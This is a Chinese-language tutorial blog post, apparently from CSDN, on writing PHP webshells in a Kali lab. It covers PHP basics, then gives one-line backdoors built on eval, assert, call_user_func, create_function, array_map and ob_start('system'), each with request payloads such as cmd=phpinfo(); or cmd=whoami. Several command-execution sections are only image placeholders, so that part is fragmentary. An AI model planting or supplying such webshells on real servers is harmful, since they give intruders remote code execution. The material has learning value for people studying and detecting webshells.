php webshell编写,php webshell学习

一、环境

kali 192.168.43.177

开户apache /etc/init.d/apache2 start

/var/www/html/目录下编辑php代码

hackbar

https://github.com/Mr-xn/hackbar2.1.3

二、php基础

输出函数:

echo - 可以输出一个或多个字符串

print - 只允许输出一个字符串,返回值总为 1

提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。

var_dump 用于输出变量的相关信息,包括变量类型,值

print_r 函数用于打印变量,以更容易理解的形式展示。

EOF

echo <<

我的第一个标题

我的第一个段落。

EOF;

// 结束需要独立一行且前后不能空格

?>

$txt1="Hello world!";

$txt2="What a nice day!";

echo $txt1 . " " . $txt2;

?>

$GLOBALS 用于访问全局变量数组

$_SERVER 包含服务器信息和请求头的数组

dbad44978367

image.png

表单数据

$_REQUEST

$_POST

$_GET

$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组

$_ENV

PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。

$_COOKIE

数组 用于取回cookie的值

$_SESSION

数组,用于取回会话变量

三、webshell常用函数

3.1代码执行

1. eval

eval () 函数把字符串按照 PHP 代码来执行

该字符串必须是合法的 PHP 代码,且必须以分号结尾

如果没有在代码字符串中调用 return 语句,则返回 NULL

如果代码中存在解析错误,则 eval () 函数返回 false

注意:

加上 @符来抑制错误输出

eval函数参数中的赋值操作需要对$转义 \$

//#1-eval

eval($_POST["cmd"])

?>

//post:cmd=phpinfo();

//get:?cmd=phpinfo();

2. assert

assert为php中的断言函数,用法同eval

assert_option()可以用来对assert()进行一些约束和控制;

默认值

ASSERT_ACTIVE=1 //Assert函数的开关

ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertionASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions

ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation

ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions

例子

//#2-assert

assert($_POST["cmd"])

?>

//post:cmd=phpinfo();

3. call_user_func

call_user_func把第一个参数作为回调函数调用,

其余参数是回调函数的参数。

返回回调函数的返回值。

//#3-call_user_func

call_user_func($_POST["fun"],$_POST["para"])

?>

//post:fun=assert&para=phpinfo();

4. create_funtion

create_function ( string $args , string $code ) : string

args 为函数参数 如$a,$b

code 函数的代码

返回一个字符串,表示 函数名

//#4-create_function

$a= $_POST['func'];

$b = create_function('$a',"echo $a");

$b('');

?>

//post:func=phpinfo();

5 array_map

dbad44978367

image.png

//#5-array_map

$array = array(0,1,2,3,4,5);

array_map($_GET['func'],$array);

?>

//post:func=phpinfo

3.2 命令执行

dbad44978367

系统程序执行

1. system

dbad44978367

system函数

//post:cmd=whoami

2 passthru

passthru — 执行外部程序并且显示原始输出

dbad44978367

passthru

//post:cmd=ifconfig

3.exec

返回命令输出的最后一行

dbad44978367

image.png

4 pcntl-exec

dbad44978367

pcntl-exec

5. shell_exec

dbad44978367

shell_exec

6 popen proc_popen

dbad44978367

popen

7 ``

8 ob_start/ob_end_flush

$cmd = 'system';

ob_start($cmd)

echo "$_GET[a]";

ob_end_flush();

?>

//?a=whoami

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值